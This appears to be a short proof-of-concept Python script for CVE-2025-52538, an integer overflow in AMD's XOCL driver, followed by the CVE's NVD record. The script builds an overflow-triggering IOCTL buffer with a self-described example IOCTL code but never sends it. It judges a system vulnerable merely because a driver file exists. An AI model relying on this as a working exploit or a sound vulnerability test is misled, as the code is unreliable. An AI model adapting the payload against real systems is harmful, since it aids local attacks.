CVE-2025-52538

# CVE-2025-52538 PoC - AMD XOCL Driver Integer Overflow # This PoC is for educational and defensive testing purposes only import os import sys import struct def create_malicious_ioctl_request(): """ Create a malicious IOCTL request to trigger integer overflow in AMD XOCL driver. """ # IOCTL code for XOCL driver (example code) IOCTL_XOCL_MAGIC = 0x58544C00 IOCTL_TRIGGER_OVERFLOW = 0x801 # Craft malicious input with values that could cause integer overflow # When added together, these values exceed the maximum integer value malicious_data = struct.pack('<IIII', 0xFFFFFFFF, # Large value 1 0x00000001, # Small value 2 0x10000000, # Offset value 0x00000001 # Size indicator ) ioctl_code = IOCTL_XOCL_MAGIC | IOCTL_TRIGGER_OVERFLOW return ioctl_code, malicious_data def test_vulnerability(): """ Test for the presence of the vulnerability. Returns True if vulnerable, False otherwise. """ print("[*] Testing CVE-2025-52538 - AMD XOCL Driver Integer Overflow") print("[*] This PoC requires AMD GPU with XOCL driver installed") print("[*] For defensive testing only") # Check if running on Windows (XOCL driver location) if os.name == 'nt': driver_path = r'C:\Windows\System32\drivers\amdxocl.sys' if os.path.exists(driver_path): print(f"[+] AMD XOCL driver found at: {driver_path}") print("[*] System may be affected - apply security update") return True print("[-] AMD XOCL driver not found or not applicable") return False if __name__ == "__main__": test_vulnerability()

{"cve": {"id": "CVE-2025-52538", "sourceIdentifier": "[email protected]", "published": "2025-11-24T21:16:03.577", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation within the XOCL driver may allow a local attacker to generate an integer overflow condition, potentially resulting in loss of confidentiality or availability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "references": [{"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-8014.html", "source": "[email protected]"}]}}